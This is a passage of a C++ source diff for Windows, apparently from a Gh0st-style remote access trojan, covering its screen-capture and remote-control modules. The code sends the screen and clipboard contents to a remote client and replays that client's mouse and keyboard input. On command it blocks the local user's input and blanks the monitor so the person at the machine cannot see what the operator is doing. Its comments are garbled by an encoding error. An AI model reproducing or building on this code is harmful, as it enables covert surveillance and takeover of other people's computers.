// Զ<><D4B6><EFBFBD><EFBFBD>Ȼ<EFBFBD><C8BB><EFBFBD>Բ<EFBFBD><D4B2><EFBFBD>
BlockInput(false);
ProcessCommand(lpBuffer + 1, nSize - 1);
BlockInput(m_bIsBlockInput);
}
break;
case COMMAND_SCREEN_BLOCK_INPUT: //ControlThread<61><64><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_bIsBlockInput = *(LPBYTE)&lpBuffer[1];
break;
case COMMAND_SCREEN_BLANK:
m_bIsBlankScreen = *(LPBYTE)&lpBuffer[1];
break;
case COMMAND_SCREEN_CAPTURE_LAYER:
m_bIsCaptureLayer = *(LPBYTE)&lpBuffer[1];
m_pScreenSpy->setCaptureLayer(m_bIsCaptureLayer);
break;
case COMMAND_SCREEN_GET_CLIPBOARD:
SendLocalClipboard();
break;
case COMMAND_SCREEN_SET_CLIPBOARD:
UpdateLocalClipboard((char *)lpBuffer + 1, nSize - 1);
break;
default:
break;
}
}catch(...){}
}
void CScreenManager::sendBITMAPINFO()
{
DWORD dwBytesLength = 1 + m_pScreenSpy->getBISize();
LPBYTE lpBuffer = (LPBYTE)VirtualAlloc(NULL, dwBytesLength, MEM_COMMIT, PAGE_READWRITE);
lpBuffer[0] = TOKEN_BITMAPINFO;
memcpy(lpBuffer + 1, m_pScreenSpy->getBI(), dwBytesLength - 1);
Send(lpBuffer, dwBytesLength);
VirtualFree(lpBuffer, 0, MEM_RELEASE);
}
void CScreenManager::sendFirstScreen()
{
BOOL bRet = false;
LPVOID lpFirstScreen = NULL;
lpFirstScreen = m_pScreenSpy->getFirstScreen();
if (lpFirstScreen == NULL)
return;
DWORD dwBytesLength = 1 + m_pScreenSpy->getFirstImageSize();
LPBYTE lpBuffer = new BYTE[dwBytesLength];
if (lpBuffer == NULL)
return;
lpBuffer[0] = TOKEN_FIRSTSCREEN;
memcpy(lpBuffer + 1, lpFirstScreen, dwBytesLength - 1);
Send(lpBuffer, dwBytesLength);
delete [] lpBuffer;
}
void CScreenManager::sendNextScreen()
{
LPVOID lpNetScreen = NULL;
DWORD dwBytes;
lpNetScreen = m_pScreenSpy->getNextScreen(&dwBytes);
if (dwBytes == 0 || !lpNetScreen)
return;
DWORD dwBytesLength = 1 + dwBytes;
LPBYTE lpBuffer = new BYTE[dwBytesLength];
if (!lpBuffer)
return;
lpBuffer[0] = TOKEN_NEXTSCREEN;
memcpy(lpBuffer + 1, (const char *)lpNetScreen, dwBytes);
Send(lpBuffer, dwBytesLength);
delete [] lpBuffer;
}
DWORD WINAPI CScreenManager::WorkThread(LPVOID lparam)
{
CScreenManager *pThis = (CScreenManager *)lparam;
pThis->sendBITMAPINFO();
// <20>ȿ<EFBFBD><C8BF>ƶ˶Ի<CBB6><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
pThis->WaitForDialogOpen();
pThis->sendFirstScreen();
try // <20><><EFBFBD>ƶ<EFBFBD>ǿ<EFBFBD>ƹر<C6B9>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
{
while (pThis->m_bIsWorking)
pThis->sendNextScreen();
}catch(...){};
return 0;
}
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD><DFB3><EFBFBD>Ҫ<EFBFBD><D2AA>Ϊ<EFBFBD>˱<EFBFBD><CBB1><EFBFBD>һֱ<D2BB><D6B1><EFBFBD><EFBFBD>
DWORD WINAPI CScreenManager::ControlThread(LPVOID lparam)
{
static bool bIsScreenBlanked = false;
CScreenManager *pThis = (CScreenManager *)lparam;
while (pThis->IsConnect())
{
// <20>ӿ췴Ӧ<ECB7B4>ٶ<EFBFBD>
for (int i = 0; i < 100; i++)
{
if (pThis->IsConnect())
{
// <20>ֱ<EFBFBD><D6B1>ʴ<EFBFBD>С<EFBFBD>ı<EFBFBD><C4B1><EFBFBD>
if (pThis->IsMetricsChange())
pThis->ResetScreen(pThis->GetCurrentPixelBits());
Sleep(10);
}
else
break;
}
if (pThis->m_bIsBlankScreen)
{
SystemParametersInfo(SPI_SETPOWEROFFACTIVE, 1, NULL, 0);
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)2);
bIsScreenBlanked = true;
}
else
{
if (bIsScreenBlanked)
{
SystemParametersInfo(SPI_SETPOWEROFFACTIVE, 0, NULL, 0);
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)-1);
bIsScreenBlanked = false;
}
}
BlockInput(pThis->m_bIsBlockInput);
// <20>ֱ<EFBFBD><D6B1>ʴ<EFBFBD>С<EFBFBD>ı<EFBFBD><C4B1><EFBFBD>
if (pThis->IsMetricsChange())
pThis->ResetScreen(pThis->GetCurrentPixelBits());
}
BlockInput(false);
return -1;
}
void CScreenManager::ProcessCommand( LPBYTE lpBuffer, UINT nSize )
{
// <20><><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD><EFBFBD>Ϸ<EFBFBD>
if (nSize % sizeof(MSG) != 0)
return;
SwitchInputDesktop();
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
int nCount = nSize / sizeof(MSG);
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
for (int i = 0; i < nCount; i++)
{
MSG *pMsg = (MSG *)(lpBuffer + i * sizeof(MSG));
switch (pMsg->message)
{
case WM_LBUTTONDOWN:
case WM_LBUTTONUP:
case WM_RBUTTONDOWN:
case WM_RBUTTONUP:
case WM_MOUSEMOVE:
case WM_LBUTTONDBLCLK:
case WM_RBUTTONDBLCLK:
case WM_MBUTTONDOWN:
case WM_MBUTTONUP:
{
POINT point;
point.x = LOWORD(pMsg->lParam);
point.y = HIWORD(pMsg->lParam);
SetCursorPos(point.x, point.y);
SetCapture(WindowFromPoint(point));
}
break;
default:
break;
}
switch(pMsg->message)
{
case WM_LBUTTONDOWN:
mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
break;
case WM_LBUTTONUP:
mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
break;
case WM_RBUTTONDOWN:
mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0);
break;
case WM_RBUTTONUP:
mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
break;
case WM_LBUTTONDBLCLK:
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
break;
case WM_RBUTTONDBLCLK:
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
break;
case WM_MBUTTONDOWN:
mouse_event(MOUSEEVENTF_MIDDLEDOWN, 0, 0, 0, 0);
break;
case WM_MBUTTONUP:
mouse_event(MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
break;
case WM_MOUSEWHEEL:
mouse_event(MOUSEEVENTF_WHEEL, 0, 0, GET_WHEEL_DELTA_WPARAM(pMsg->wParam), 0);
break;
case WM_KEYDOWN:
case WM_SYSKEYDOWN:
keybd_event(pMsg->wParam, MapVirtualKey(pMsg->wParam, 0), 0, 0);
break;
case WM_KEYUP:
case WM_SYSKEYUP:
keybd_event(pMsg->wParam, MapVirtualKey(pMsg->wParam, 0), KEYEVENTF_KEYUP, 0);
break;
default:
break;
}
}
}
void CScreenManager::UpdateLocalClipboard( char *buf, int len )
{
if (!::OpenClipboard(NULL))
return;
::EmptyClipboard();
HGLOBAL hglbCopy = GlobalAlloc(GMEM_DDESHARE, len);
if (hglbCopy != NULL) {
// Lock the handle and copy the text to the buffer.
LPTSTR lptstrCopy = (LPTSTR) GlobalLock(hglbCopy);
memcpy(lptstrCopy, buf, len);
GlobalUnlock(hglbCopy); // Place the handle on the clipboard.
SetClipboardData(CF_TEXT, hglbCopy);
GlobalFree(hglbCopy);
}
CloseClipboard();
}
void CScreenManager::SendLocalClipboard()
{
if (!::OpenClipboard(NULL))
return;
HGLOBAL hglb = GetClipboardData(CF_TEXT);
if (hglb == NULL)
{
::CloseClipboard();
return;
}
int nPacketLen = GlobalSize(hglb) + 1;
LPSTR lpstr = (LPSTR) GlobalLock(hglb);
LPBYTE lpData = new BYTE[nPacketLen];
lpData[0] = TOKEN_CLIPBOARD_TEXT;
memcpy(lpData + 1, lpstr, nPacketLen - 1);
::GlobalUnlock(hglb);
::CloseClipboard();
Send(lpData, nPacketLen);
delete[] lpData;
}
// <20><>Ļ<EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ı<EFBFBD>
bool CScreenManager::IsMetricsChange()
{
LPBITMAPINFO lpbmi = m_pScreenSpy->getBI();
return (lpbmi->bmiHeader.biWidth != ::GetSystemMetrics(SM_CXSCREEN)) ||
(lpbmi->bmiHeader.biHeight != ::GetSystemMetrics(SM_CYSCREEN));
}
bool CScreenManager::IsConnect()
{
return m_pClient->IsRunning();
}
int CScreenManager::GetCurrentPixelBits()
{
return m_biBitCount;
}

View File

@@ -0,0 +1,44 @@
// ScreenManager.h: interface for the CScreenManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_SCREENMANAGER_H__737AA8BC_7729_4C54_95D0_8B1E99066D48__INCLUDED_)
#define AFX_SCREENMANAGER_H__737AA8BC_7729_4C54_95D0_8B1E99066D48__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "Manager.h"
#include "ScreenSpy.h"
class CScreenManager : public CManager
{
public:
CScreenManager(CClientSocket *pClient);
virtual ~CScreenManager();
virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);
void sendBITMAPINFO();
void sendFirstScreen();
void sendNextScreen();
bool IsMetricsChange();
bool IsConnect();
int GetCurrentPixelBits();
bool m_bIsWorking;
bool m_bIsBlockInput;
bool m_bIsBlankScreen;
private:
BYTE m_bAlgorithm;
bool m_bIsCaptureLayer;
int m_biBitCount;
HANDLE m_hWorkThread, m_hBlankThread;
CCursorInfo m_CursorInfo;
CScreenSpy *m_pScreenSpy;
void ResetScreen(int biBitCount);
void ProcessCommand(LPBYTE lpBuffer, UINT nSize);
static DWORD WINAPI WorkThread(LPVOID lparam);
static DWORD WINAPI ControlThread(LPVOID lparam);
void UpdateLocalClipboard(char *buf, int len);
void SendLocalClipboard();
};
#endif // !defined(AFX_SCREENMANAGER_H__737AA8BC_7729_4C54_95D0_8B1E99066D48__INCLUDED_)

View File

@@ -0,0 +1,483 @@
// ScreenSpy.cpp: implementation of the CScreenSpy class.
//
//////////////////////////////////////////////////////////////////////
#include "ScreenSpy.h"
#include "until.h"
#define RGB2GRAY(r,g,b) (((b)*117 + (g)*601 + (r)*306) >> 10)
#define DEF_STEP 19
#define OFF_SET 24
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
#ifdef _CONSOLE
#include <stdio.h>
#endif
CScreenSpy::CScreenSpy(int biBitCount, bool bIsGray, UINT nMaxFrameRate)
{
switch (biBitCount)
{
case 1:
case 4:
case 8:
case 16:
case 32:
m_biBitCount = biBitCount;
break;
default:
m_biBitCount = 8;
}
if (!SelectInputWinStation())
{
m_hDeskTopWnd = GetDesktopWindow();
m_hFullDC = GetDC(m_hDeskTopWnd);
}
m_dwBitBltRop = SRCCOPY;
m_bAlgorithm = ALGORITHM_SCAN; // Ĭ<><C4AC>ʹ<EFBFBD>ø<EFBFBD><C3B8><EFBFBD>ɨ<EFBFBD><C9A8><EFBFBD>
m_dwLastCapture = GetTickCount();
m_nMaxFrameRate = nMaxFrameRate;
m_dwSleep = 1000 / nMaxFrameRate;
m_bIsGray = bIsGray;
m_nFullWidth = ::GetSystemMetrics(SM_CXSCREEN);
m_nFullHeight = ::GetSystemMetrics(SM_CYSCREEN);
m_nIncSize = 32 / m_biBitCount;
m_nStartLine = 0;
m_hFullMemDC = ::CreateCompatibleDC(m_hFullDC);
m_hDiffMemDC = ::CreateCompatibleDC(m_hFullDC);
m_hLineMemDC = ::CreateCompatibleDC(NULL);
m_hRectMemDC = ::CreateCompatibleDC(NULL);
m_lpvLineBits = NULL;
m_lpvFullBits = NULL;
m_lpbmi_line = ConstructBI(m_biBitCount, m_nFullWidth, 1);
m_lpbmi_full = ConstructBI(m_biBitCount, m_nFullWidth, m_nFullHeight);
m_lpbmi_rect = ConstructBI(m_biBitCount, m_nFullWidth, 1);
m_hLineBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_line, DIB_RGB_COLORS, &m_lpvLineBits, NULL, NULL);
m_hFullBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvFullBits, NULL, NULL);
m_hDiffBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvDiffBits, NULL, NULL);
::SelectObject(m_hFullMemDC, m_hFullBitmap);
::SelectObject(m_hLineMemDC, m_hLineBitmap);
::SelectObject(m_hDiffMemDC, m_hDiffBitmap);
::SetRect(&m_changeRect, 0, 0, m_nFullWidth, m_nFullHeight);
// <20><EFBFBD><E3B9BB>
m_rectBuffer = new BYTE[m_lpbmi_full->bmiHeader.biSizeImage * 2];
m_nDataSizePerLine = m_lpbmi_full->bmiHeader.biSizeImage / m_nFullHeight;
m_rectBufferOffset = 0;
}
CScreenSpy::~CScreenSpy()
{
::ReleaseDC(m_hDeskTopWnd, m_hFullDC);
::DeleteDC(m_hLineMemDC);
::DeleteDC(m_hFullMemDC);
::DeleteDC(m_hRectMemDC);
::DeleteDC(m_hDiffMemDC);
::DeleteObject(m_hLineBitmap);
::DeleteObject(m_hFullBitmap);
::DeleteObject(m_hDiffBitmap);
if (m_rectBuffer)
delete[] m_rectBuffer;
delete[] m_lpbmi_full;
delete[] m_lpbmi_line;
delete[] m_lpbmi_rect;
}
LPVOID CScreenSpy::getNextScreen(LPDWORD lpdwBytes)
{
static LONG nOldCursorPosY = 0;
if (lpdwBytes == NULL || m_rectBuffer == NULL)
return NULL;
SelectInputWinStation();
// <20><><EFBFBD><EFBFBD>rect<63><74><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8>
m_rectBufferOffset = 0;
// д<><D0B4>ʹ<EFBFBD><CAB9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
WriteRectBuffer((LPBYTE)&m_bAlgorithm, sizeof(m_bAlgorithm));
// д<><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
POINT CursorPos;
GetCursorPos(&CursorPos);
WriteRectBuffer((LPBYTE)&CursorPos, sizeof(POINT));
// д<>뵱ǰ<EBB5B1><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
BYTE bCursorIndex = m_CursorInfo.getCurrentCursorIndex();
WriteRectBuffer(&bCursorIndex, sizeof(BYTE));
// <20><><EFBFBD><EFBFBD><EFBFBD>Ƚ<EFBFBD><C8BD>
if (m_bAlgorithm == ALGORITHM_DIFF)
{
// <20>ֶ<EFBFBD>ɨ<EFBFBD><C9A8>ȫ<EFBFBD><C8AB>Ļ
ScanScreen(m_hDiffMemDC, m_hFullDC, m_lpbmi_full->bmiHeader.biWidth, m_lpbmi_full->bmiHeader.biHeight);
*lpdwBytes = m_rectBufferOffset +
Compare((LPBYTE)m_lpvDiffBits, (LPBYTE)m_lpvFullBits, m_rectBuffer + m_rectBufferOffset, m_lpbmi_full->bmiHeader.biSizeImage);
return m_rectBuffer;
}
// <20><><EFBFBD><EFBFBD>λ<EFBFBD>÷<EFBFBD><C3B7><EFBFBD><E4BBAF><EFBFBD><EFBFBD><EFBFBD>ȵ<EFBFBD><C8B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><E4BBAF><EFBFBD><EFBFBD>(<28><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><E4BBAF><EFBFBD><EFBFBD> + DEF_STEP)<29><><EFBFBD><EFBFBD>ɨ<EFBFBD><C9A8>
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
int nHotspot = max(0, CursorPos.y - DEF_STEP);
for (
int i = ((CursorPos.y != nOldCursorPosY) && ScanChangedRect(nHotspot)) ? (nHotspot + DEF_STEP) : m_nStartLine;
i < m_nFullHeight;
i += DEF_STEP
)
{
if (ScanChangedRect(i))
{
i += DEF_STEP;
}
}
nOldCursorPosY = CursorPos.y;
m_nStartLine = (m_nStartLine + 3) % DEF_STEP;
*lpdwBytes = m_rectBufferOffset;
// <20><><EFBFBD>Ʒ<EFBFBD><C6B7><EFBFBD>֡<EFBFBD><D6A1><EFBFBD>ٶ<EFBFBD>
while (GetTickCount() - m_dwLastCapture < m_dwSleep)
Sleep(1);
InterlockedExchange((LPLONG)&m_dwLastCapture, GetTickCount());
return m_rectBuffer;
}
bool CScreenSpy::ScanChangedRect(int nStartLine)
{
bool bRet = false;
LPDWORD p1, p2;
::BitBlt(m_hLineMemDC, 0, 0, m_nFullWidth, 1, m_hFullDC, 0, nStartLine, m_dwBitBltRop);
// 0 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>
p1 = (PDWORD)((DWORD)m_lpvFullBits + ((m_nFullHeight - 1 - nStartLine) * m_nDataSizePerLine));
p2 = (PDWORD)m_lpvLineBits;
::SetRect(&m_changeRect, -1, nStartLine - DEF_STEP, -1, nStartLine + DEF_STEP * 2);
for (int j = 0; j < m_nFullWidth; j += m_nIncSize)
{
if (*p1 != *p2)
{
if (m_changeRect.right < 0)
m_changeRect.left = j - OFF_SET;
m_changeRect.right = j + OFF_SET;
}
p1++;
p2++;
}
if (m_changeRect.right > -1)
{
m_changeRect.left = max(m_changeRect.left, 0);
m_changeRect.top = max(m_changeRect.top, 0);
m_changeRect.right = min(m_changeRect.right, m_nFullWidth);
m_changeRect.bottom = min(m_changeRect.bottom, m_nFullHeight);
// <20><><EFBFBD>Ƹı<C6B8><C4B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
CopyRect(&m_changeRect);
bRet = true;
}
return bRet;
}
void CScreenSpy::setAlgorithm(UINT nAlgorithm)
{
InterlockedExchange((LPLONG)&m_bAlgorithm, nAlgorithm);
}
LPBITMAPINFO CScreenSpy::ConstructBI(int biBitCount, int biWidth, int biHeight)
{
/*
biBitCount Ϊ1 (<28>ڰ׶<DAB0>ɫͼ) <20><>4 (16 ɫͼ) <20><>8 (256 ɫͼ) ʱ<><CAB1><EFBFBD><EFBFBD>ɫ<EFBFBD><C9AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD>ɫ<EFBFBD><C9AB><EFBFBD><EFBFBD>С
biBitCount Ϊ16 (16 λɫͼ) <20><>24 (<28><><EFBFBD><EFBFBD>ɫͼ, <20><>֧<EFBFBD><D6A7>) <20><>32 (32 λɫͼ) ʱû<CAB1><C3BB><EFBFBD><EFBFBD>ɫ<EFBFBD><C9AB>
*/
int color_num = biBitCount <= 8 ? 1 << biBitCount : 0;
int nBISize = sizeof(BITMAPINFOHEADER) + (color_num * sizeof(RGBQUAD));
BITMAPINFO *lpbmi = (BITMAPINFO *) new BYTE[nBISize];
BITMAPINFOHEADER *lpbmih = &(lpbmi->bmiHeader);
lpbmih->biSize = sizeof(BITMAPINFOHEADER);
lpbmih->biWidth = biWidth;
lpbmih->biHeight = biHeight;
lpbmih->biPlanes = 1;
lpbmih->biBitCount = biBitCount;
lpbmih->biCompression = BI_RGB;
lpbmih->biXPelsPerMeter = 0;
lpbmih->biYPelsPerMeter = 0;
lpbmih->biClrUsed = 0;
lpbmih->biClrImportant = 0;
lpbmih->biSizeImage = (((lpbmih->biWidth * lpbmih->biBitCount + 31) & ~31) >> 3) * lpbmih->biHeight;
// 16λ<36><CEBB><EFBFBD>Ժ<EFBFBD><D4BA><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD>ɫ<EFBFBD><C9AB><EFBFBD><EFBFBD>ֱ<EFBFBD>ӷ<EFBFBD><D3B7><EFBFBD>
if (biBitCount >= 16)
return lpbmi;
/*
Windows 95<39><35>Windows 98<39><38><EFBFBD><EFBFBD><EFBFBD><EFBFBD>lpvBits<74><73><EFBFBD><EFBFBD>ΪNULL<4C><4C><EFBFBD><EFBFBD>GetDIBits<74>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>BITMAPINFO<46><EFBFBD><E1B9B9><EFBFBD><EFBFBD>ô<EFBFBD><C3B4><EFBFBD><EFBFBD>ֵΪλͼ<CEBB><CDBC><EFBFBD>ܹ<EFBFBD><DCB9><EFBFBD>ɨ<EFBFBD><C9A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Windows NT<4E><54><EFBFBD><EFBFBD><EFBFBD><EFBFBD>lpvBits<74><73><EFBFBD><EFBFBD>ΪNULL<4C><4C><EFBFBD><EFBFBD>GetDIBits<74>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>BITMAPINFO<46><EFBFBD><E1B9B9><EFBFBD><EFBFBD>ô<EFBFBD><C3B4><EFBFBD><EFBFBD>ֵΪ<D6B5><CEAA>0<EFBFBD><30><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ִ<EFBFBD><D6B4>ʧ<EFBFBD>ܣ<EFBFBD><DCA3><EFBFBD>ô<EFBFBD><C3B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><30><D6B5>Windows NT<4E><54><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ø<EFBFBD><C3B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>callGetLastError<6F><72><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
*/
HDC hDC = GetDC(NULL);
HBITMAP hBmp = CreateCompatibleBitmap(hDC, 1, 1); // <20>߿<EFBFBD><DFBF><EFBFBD><EFBFBD><EFBFBD>Ϊ0
GetDIBits(hDC, hBmp, 0, 0, NULL, lpbmi, DIB_RGB_COLORS);
ReleaseDC(NULL, hDC);
DeleteObject(hBmp);
if (m_bIsGray)
{
for (int i = 0; i < color_num; i++)
{
int color = RGB2GRAY(lpbmi->bmiColors[i].rgbRed, lpbmi->bmiColors[i].rgbGreen, lpbmi->bmiColors[i].rgbBlue);
lpbmi->bmiColors[i].rgbRed = lpbmi->bmiColors[i].rgbGreen = lpbmi->bmiColors[i].rgbBlue = color;
}
}
return lpbmi;
}
void CScreenSpy::WriteRectBuffer(LPBYTE lpData, int nCount)
{
memcpy(m_rectBuffer + m_rectBufferOffset, lpData, nCount);
m_rectBufferOffset += nCount;
}
LPVOID CScreenSpy::getFirstScreen()
{
::BitBlt(m_hFullMemDC, 0, 0, m_nFullWidth, m_nFullHeight, m_hFullDC, 0, 0, m_dwBitBltRop);
return m_lpvFullBits;
}
void CScreenSpy::CopyRect( LPRECT lpRect )
{
int nRectWidth = lpRect->right - lpRect->left;
int nRectHeight = lpRect->bottom - lpRect->top;
LPVOID lpvRectBits = NULL;
// <20><><EFBFBD><EFBFBD>m_lpbmi_rect
m_lpbmi_rect->bmiHeader.biWidth = nRectWidth;
m_lpbmi_rect->bmiHeader.biHeight = nRectHeight;
m_lpbmi_rect->bmiHeader.biSizeImage = (((m_lpbmi_rect->bmiHeader.biWidth * m_lpbmi_rect->bmiHeader.biBitCount + 31) & ~31) >> 3)
* m_lpbmi_rect->bmiHeader.biHeight;
HBITMAP hRectBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_rect, DIB_RGB_COLORS, &lpvRectBits, NULL, NULL);
::SelectObject(m_hRectMemDC, hRectBitmap);
::BitBlt(m_hFullMemDC, lpRect->left, lpRect->top, nRectWidth, nRectHeight, m_hFullDC, lpRect->left, lpRect->top, m_dwBitBltRop);
::BitBlt(m_hRectMemDC, 0, 0, nRectWidth, nRectHeight, m_hFullMemDC, lpRect->left, lpRect->top, SRCCOPY);
WriteRectBuffer((LPBYTE)lpRect, sizeof(RECT));
WriteRectBuffer((LPBYTE)lpvRectBits, m_lpbmi_rect->bmiHeader.biSizeImage);
DeleteObject(hRectBitmap);
}
UINT CScreenSpy::getFirstImageSize()
{
return m_lpbmi_full->bmiHeader.biSizeImage;
}
void CScreenSpy::setCaptureLayer(bool bIsCaptureLayer)
{
DWORD dwRop = SRCCOPY;
if (bIsCaptureLayer)
dwRop |= CAPTUREBLT;
InterlockedExchange((LPLONG)&m_dwBitBltRop, dwRop);
}
LPBITMAPINFO CScreenSpy::getBI()
{
return m_lpbmi_full;
}
UINT CScreenSpy::getBISize()
{
int color_num = m_biBitCount <= 8 ? 1 << m_biBitCount : 0;
return sizeof(BITMAPINFOHEADER) + (color_num * sizeof(RGBQUAD));
}
bool CScreenSpy::SelectInputWinStation()
{
bool bRet = ::SwitchInputDesktop();
if (bRet)
{
ReleaseDC(m_hDeskTopWnd, m_hFullDC);
m_hDeskTopWnd = GetDesktopWindow();
m_hFullDC = GetDC(m_hDeskTopWnd);
}
return bRet;
}
//// <20><>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȵ<EFBFBD>
// LONG CScreenSpy::getKeyBoardHotspotY()
// {
// static DWORD dwCurrentThreadId = GetCurrentThreadId();
// static HWND hWindow = GetForegroundWindow();
// static DWORD dwWindowThreadId = GetWindowThreadProcessId(hWindow, NULL);
// HWND hCurrentWindow = GetForegroundWindow();
// if (hCurrentWindow != hWindow )
// {
// // Release
// AttachThreadInput(dwCurrentThreadId, dwWindowThreadId, FALSE);
// hWindow = hCurrentWindow;
// dwWindowThreadId = GetWindowThreadProcessId(hWindow, NULL);
// AttachThreadInput(dwCurrentThreadId, dwWindowThreadId, TRUE);
// }
//
// POINT pt;
// if (GetCaretPos(&pt))
// {
// ClientToScreen(GetFocus(), &pt);
// }
// return pt.y;
// }
void CScreenSpy::ScanScreen( HDC hdcDest, HDC hdcSrc, int nWidth, int nHeight)
{
UINT nJumpLine = 50;
UINT nJumpSleep = nJumpLine / 10; // ɨ<><C9A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// ɨ<><C9A8><EFBFBD><EFBFBD>Ļ
for (int i = 0, int nToJump = 0; i < nHeight; i += nToJump)
{
int nOther = nHeight - i;
if (nOther > nJumpLine)
nToJump = nJumpLine;
else
nToJump = nOther;
BitBlt(hdcDest, 0, i, nWidth, nToJump, hdcSrc, 0, i, m_dwBitBltRop);
Sleep(nJumpSleep);
}
}
// <20><><EFBFBD><EFBFBD><EFBFBD>Ƚ<EFBFBD><C8BD><EFBFBD><E3B7A8><EFBFBD>ĺ<EFBFBD><C4BA><EFBFBD>
int CScreenSpy::Compare( LPBYTE lpSource, LPBYTE lpDest, LPBYTE lpBuffer, DWORD dwSize )
{
// Windows<77>һ<E6B6A8><D2BB>ɨ<EFBFBD><C9A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ռ<EFBFBD><D5BC><EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>4<EFBFBD>ı<EFBFBD><C4B1><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>DWORD<52>Ƚ<EFBFBD>
LPDWORD p1, p2;
p1 = (LPDWORD)lpDest;
p2 = (LPDWORD)lpSource;
// ƫ<>Ƶ<EFBFBD>ƫ<EFBFBD>ƣ<EFBFBD><C6A3><EFBFBD>ͬ<EFBFBD><CDAC><EFBFBD>ȵ<EFBFBD>ƫ<EFBFBD><C6AB>
int nOffsetOffset = 0, nBytesOffset = 0, nDataOffset = 0;
int nCount = 0; // <20><><EFBFBD>ݼ<EFBFBD><DDBC><EFBFBD><EFBFBD><EFBFBD>
// p1++ʵ<><CAB5><EFBFBD><EFBFBD><EFBFBD>ǵ<EFBFBD><C7B5><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>DWORD
for (int i = 0; i < dwSize; i += 4, p1++, p2++)
{
if (*p1 == *p2)
continue;
// һ<><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݿ鿪ʼ
// д<><D0B4>ƫ<EFBFBD>Ƶ<EFBFBD>ַ
*(LPDWORD)(lpBuffer + nOffsetOffset) = i;
// <20><>¼<EFBFBD><C2BC><EFBFBD>ݴ<EFBFBD>С<EFBFBD>Ĵ<EFBFBD><C4B4><EFBFBD>λ<EFBFBD><CEBB>
nBytesOffset = nOffsetOffset + sizeof(int);
nDataOffset = nBytesOffset + sizeof(int);
nCount = 0; // <20><><EFBFBD>ݼ<EFBFBD><DDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
